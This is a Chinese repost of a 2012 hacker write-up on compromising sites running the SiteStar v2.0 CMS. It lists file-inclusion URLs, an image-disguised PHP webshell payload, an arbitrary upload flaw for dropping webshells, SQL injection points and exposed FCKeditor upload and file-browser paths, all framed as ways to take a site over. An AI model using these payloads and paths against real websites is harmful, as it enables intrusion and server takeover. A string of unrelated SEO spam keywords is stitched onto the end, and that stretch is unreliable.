原文http://lcx.cc/?i=2324
前两天拿个站，
系统是：建站之星 (SiteStar)
v2.0，自己看了看，又综合了网上的各种漏洞，整理了一份漏洞大全，这套程序浑身都是窟窿，无语中……
记录时间：
2012-3-10 14:24:43
By: Nuclear'Atk, Url: Http://lcx.cc/
程序名称：
建站之星 (SiteStar) v2.0
建站之星 SiteStar 网站管理系统 v2.0
漏洞详情：
1、本地任意文件包含漏洞：
http://127.0.0.1/index.php?_m=/../robots.txt.htmlmod_product&_a=prdlist
详细：http://lcx.cc/?FoxNews=2319.html 问题出在：/library/content.PHP,
行：14。
利用：配合文件上传，上传图片，可以瞬间拿下。
图片：GIF89a<?php phpinfo();?>
2、在线编辑器：
http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
可以上传图片、浏览文件、新建文件夹等。
3、任意文件上传漏洞：
漏洞产生在 /script/multiupload/uploadify.php 文件。
低级失误，通过构造html表单可直接上传webshell至web目录。
详细：http://lcx.cc/?FoxNews=2320.html
4、Sql 注入漏洞：
地址：
http://192.168.1.2/index.php?_m=mod_product&_a=prdlist&cap_id=46%Inject_Here%
http://192.168.1.2/index.php?_m=mod_product&_a=view&p_id=56%Inject_Here%
数据库类型：MySQL time based injection
参数类型：Integer
其他漏洞：
路径 {
http://127.0.0.1/admin/
http://127.0.0.1/admin/index.php
http://127.0.0.1/admin/FCKeditor/
http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
}
漏洞 {
任意文件包含：http://127.0.0.1/index.php?_m=/../robots.txt.htmlmod_product&_a=prdlist
Sql
注入漏洞：http://127.0.0.1/index.php?_m=mod_product&_a=prdlist&cap_id=37%Inject_Here%
}
编辑器 {
编辑器：http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
上传：http://127.0.0.1/admin/fckeditor/browser/browser.html?Connector=connector.php
包含：http://127.0.0.1/index.php?_m=/../index.php.htmlmod_product&_a=prdlist
文件浏览：http://127.0.0.1/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
上传路径：/admin/fckeditor/browser/../../../upload/file/baidu_sylogo1.gif
可以创建 a.asp 目录，上传图片木马。
各种路径(太多了，只记了部分) {
/admin/fckeditor/browser/browser.html?Connector=connector.php
/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=Flash&CurrentFolder=/
/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=Media&CurrentFolder=/
}
}
网页视频下载软件手机版装饰装潢遵义疫情最新消息今天猎头公司哪家好客户开发方法设计师培训招生视频企业服务平台建设方案在线编辑图片加字无锡关键词优化平台武汉抖音seo开发商交房需要提供哪些证书深圳装饰公司排名重庆网站推广外包企业手机app开发公司哪家好房屋设计图怎么制作自建网站运营平台的优点施工企业上市公司钢筋网片规格型号重庆有线4001会员卡管理系统自己做要怎么做网络营销程建网中国建筑信息查询平台官方网站建设合同影视公司招聘信息上海软件开发的公司排名禁止网页跳转微信小程序搜索seo怎么优化东莞网上招聘平台有哪些全国工业设计大赛官网中央电视台广告经营管理中心官网